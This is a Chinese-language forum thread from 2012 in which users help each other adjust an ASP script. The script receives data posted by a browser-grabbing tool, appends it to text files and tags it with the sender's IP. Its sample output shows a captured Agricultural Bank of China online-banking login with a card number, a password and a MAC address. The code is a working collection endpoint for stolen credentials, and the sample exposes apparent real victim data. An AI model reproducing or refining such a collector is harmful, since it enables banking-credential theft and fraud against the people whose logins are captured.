懂asp的来一下

Escape

看这张图片 哪个代码里面将注册提交过来的账号密码等加入的换行符？

dierhui

照着这个       该
<%
txt = request("data")
if txt = "" then
    response.end
End If
ipstr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If ipstr = "" Then
    ipstr = Request.ServerVariables("REMOTE_ADDR")
end if
txt = Replace(txt,"$@$",".")
strLogFile = "1.txt"
if Instr(1,txt,"网  址") > 0 then
    strLogFile = "2.txt"
end if
set f=Server.CreateObject("scripting.filesystemobject")

'set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
set ff=f.opentextfile(server.mappath(strLogFile),8,true,0)
txts = split(txt,Chr(9))
if ubound(txts) > 1 then
        txts(1) = "  时  间 " & Date & " " & Time
end if
for i = lbound(txts) to ubound(txts)
        txt = txts(i)
        if i <> ubound(txts) then
                ff.writeline(txt)
    else
        txt = rinstr(txt)
        ff.writeline(txt & ipstr)
    end if
next
ff.writeline("-------------------------------------------------")
ff.close
set ff=nothing
set f=nothing


function IsNumbers(Nstr)
        If (NStr = "0") Or (NStr = "1") Or (NStr = "2") Or (NStr = "3") Or (NStr = "4") Or (NStr = "5") Or (NStr = "6") Or (NStr = "7") Or (NStr = "8") Or (NStr = "9") Then
                IsNumbers = true       
        else
                IsNumbers = false
        end if
end function

Function rinstr(txt)
    l = 1
    k = 1
    For l = Len(txt) To 1 Step -1
        Str = Mid(txt, l, 1)
        If Str = ":" Then
            Exit For
        End If
        k = l
    Next
    if k = 1 then
                rinstr = txt
    else
                rinstr = Left(txt,l-1)
    End If   
End Function
%>


效果出来是这个

  标  题 IE截取器 加强版
  时  间 2010-4-13 23:09:34
  窗  口 中国农业银行 - Microsoft Internet Explorer
  网  址 https://easyabc.95599.cn/commbank/netBank/zh_CN/CommLogin.aspx
  输入框 6228481260203963615
  密码框 515499
  输入框 34252
  网  卡 00-E0-A0-11-4A-EE
  地  址 127.0.0.1
-------------------------------------------------

Escape

dierhui 发表于 2012-3-4 23:09
照着这个       该
0 then
    strLogFile = "2.txt"

只要去掉空行

补充内容 (2012-3-5 18:58):
这个注册成功之后会在注册信息下加入一个空行